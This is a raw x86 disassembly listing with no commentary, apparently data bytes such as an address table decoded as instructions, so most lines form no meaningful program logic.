add al, bl
jne 0x445f8d
add byte [eax - 0x4fffbd8a], dh
jbe 0x445f91
add byte [eax - 0x4dffbd8a], dh
jbe 0x445f99
jbe 0x445f95
add byte [edx - 0x4fffbd8a], dh
jbe 0x445f9d
add byte [eax - 0x47ffbd8a], dh
jbe 0x445fa1
add byte [eax - 0x3bffbd8a], bh
add ah, al
jbe 0x445fa5
add al, dl
jbe 0x445fa9
add al, dl
jbe 0x445fad
add al, dl
jbe 0x445fb1
add dl, dl
jbe 0x445fb5
add al, ch
jbe 0x445fb9
add byte [0xb004277], al
ja 0x445fbd
add byte [ebx], cl
ja 0x445fc1
add byte [edx], bl
ja 0x445fc5
add dl, cl
jo 0x445fc9
add cl, cl
ja 0x445fcd
add cl, bl
ja 0x445fd1
add bh, ah
jo 0x445fd5
add byte [ecx - 0x69ffbd8f], cl
jno 0x445fd9
add byte [esi + 0x4a004271], dl
jno 0x445fdd
add byte [edx + 0x79], cl
inc edx
jns 0x445fe1
add byte [eax + 0x79], bl
inc edx
jns 0x445fe5
add byte [eax + 0x79], ah
inc edx
jns 0x445fe9
add byte [eax + 0x79], ah
inc edx
jns 0x445fed
add byte [eax + 0x60004286], ah
xchg byte [edx], al
pushal
jns 0x445ff5
add byte [ebx - 0x57ffbd87], cl
jns 0x445ff9
add byte [eax - 0x6effbd87], ch
jns 0x445ffd
add byte [ecx - 0x5fffbd87], dl
xchg ecx, eax
jns 0x446001
add byte [eax - 0x5fffbd87], ah
jns 0x446005
add byte [eax - 0x5fffbd87], ah
mov al, byte [0xa0004279]
jns 0x446009
add byte [eax - 0x5fffbd87], ah
jns 0x44600d
add byte [eax - 0x5fffbd87], ah
mov al, byte [0xa0004279]
jns 0x446011
add byte [eax - 0x7effbd7a], ah
mov al, byte [0x81004286]
xchg byte [edx], al
or dword [eax - 0x7957ffbe], 0x88810042
inc edx
add byte [edi - 0x76], cl
inc edx
add byte [ebp - 0x35ffbd76], ah
mov byte [edx], al
test al, 0x86
inc edx
add byte [ecx + 0x4f004288], al
xchg byte [edx], al
or dword [eax - 0x75b0ffbe], 0x8aa50042
inc edx
add dl, cl
mov byte [edx], al
dec edi
mov al, byte [edx]
movsd dword es:[edi], dword [esi]
mov al, byte [edx]
retf 0x4279
jns 0x44602d
add byte [eax - 0x64ffbd7a], dl
xchg byte [edx], al
wait
xchg byte [edx], al
and byte [edx + 0x42], bh
jp 0x446039
add ah, cl
jnp 0x44603d
add byte [eax], ah
jp 0x446041
add byte [edx - 0x61ffbd83], dl
jge 0x446045
add byte [esi - 0x3fffbd83], bl
jge 0x446049
add al, al
jge 0x44604d
add byte [edi - 0x7b], bl
inc edx
add dl, ah
test dword [edx], eax
loop 0x44608f
jge 0x446055
inc edx
add byte [ebx], dl
jp 0x446059
add byte [ebx], dl
jle 0x44605d
add byte [ebx], dl
jp 0x446061
add byte [esi], dh
jle 0x446065
add al, dl
jns 0x446069
add byte [esi - 0x29ffbd80], ah
add dword [edx], case.0x42736d.84
jb 0x445fbc
inc edx
add byte [esi - 0x7a], bh
inc edx
add byte [edx - 0x7a], dh
xchg byte [edx], al
jb 0x445fc4
xchg byte [edx], al
inc ebp
inc edx
add byte [ebp - 0x7a], al
inc edx
add byte [eax - 0x7a], dh
xchg byte [edx], al
jo 0x445fcc
xchg byte [edx], al
jo 0x445fd0
inc edx
add byte [eax - 0x7a], dh
xchg byte [edx], al
jo 0x445fd4
inc edx
add byte [eax - 0x7a], dh
xchg byte [edx], al
aas
inc edx
add byte [edi], bh
xchg byte [edx], al
and byte [esi - 0x79d4ffbe], al
inc edx
add byte [ecx], al
xchg byte [edx], al
sub eax, dword [esi + 0x10042]
xchg byte [edx], al
add dword [eax], eax
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add dword [eax], eax
add byte [eax], al
add dword [eax], eax
add byte [eax], al
adc edi, dword [edx + 0x42]
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ebx], dl
jp 0x4460ad
add byte [edi], bh
test dword [edx], eax
pop edi
test dword [edx], eax
push eax
test dword [edx], eax
inc ebp
test dword [edx], eax
push eax
test dword [edx], eax
pop edi
test dword [edx], eax
cmpsb byte [esi], byte es:[edi]
jge 4481225
add al, ah
add dword [edx], 1
add dword [eax], eax
add byte [eax], al
add dword [eax], eax
add byte [eax], al
loopne 0x44601b
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add al, ah
add dword [edx], case.0x42736d.111
ljmp 0x4285
inc edx
add byte [eax - 0x15ffbd87], dh
add dword [edx], case.0x42736d.113
das
test dword [edx], eax
or dword [ebp - 0x7adfffbe], eax
inc edx
add byte [edi], ch
test dword [edx], eax
and byte [ebp + 0x79f00042], al
inc edx
add byte [eax + 0x1004279], dh
add byte [eax], al
add byte [ecx], al
test dword [edx], eax
and byte [ebp - 0x7ad0ffbe], al
inc edx
add byte [eax], ah
test dword [edx], eax
invalid
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [eax + 0xa004279], dh
mov word [edx], es
and byte [edx + eax*2 + 0x428c2000], cl
add byte [eax], ah
mov word [edx], es
sub al, 0x93
inc edx
add byte [eax], ah
mov word [edx], es
push esp
mov word [edx], es
bound ecx, qword [edx + eax*2 + 0x428c5c00]
add byte [ebx + edx*4], ch
inc edx
add byte [ebx], bl
xchg ebx, eax
inc edx
add byte [edx], dl
xchg ebx, eax
inc edx
add byte [edx], dl
xchg ebx, eax
inc edx
add byte [ebx + edx*4], ch
inc edx
add byte [ebp - 0x70ffbd74], al
mov word [edx], es
dec byte [edx + eax*2 + 0x428cb000]
add al, ch
mov word [edx], es
mov ecx, 0x9000428d
mov es, word [edx]
call 0xc544a3b9
mov es, word [edx]
ror byte [ebp - 0x712affbe], 1
inc edx
add al, dl
lea eax, [edx]
in eax, 0x8e
inc edx
add al, dl
lea eax, [edx]
cmc
mov es, word [edx]
ror byte [ebp - 0x70faffbe], 1
inc edx
add al, dl
lea eax, [edx]
std
xchg ecx, eax
inc edx
add byte [esi - 0x6e], cl
inc edx
add byte [esi - 0x6e], cl
inc edx
add byte [ebp - 0x46ffbd6e], ch
xchg edx, eax
inc edx
add byte [edi - 0x6f], ch
inc edx
add byte [eax + 0x75004291], dl
xchg ecx, eax
inc edx
add byte [eax - 0x56ffbd6f], dl
xchg ecx, eax
inc edx
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [edi], dh
xchg ebx, eax
inc edx
add byte [ecx], al
add byte [eax], al
add byte [edx], ch
pop dword [edx]
invalid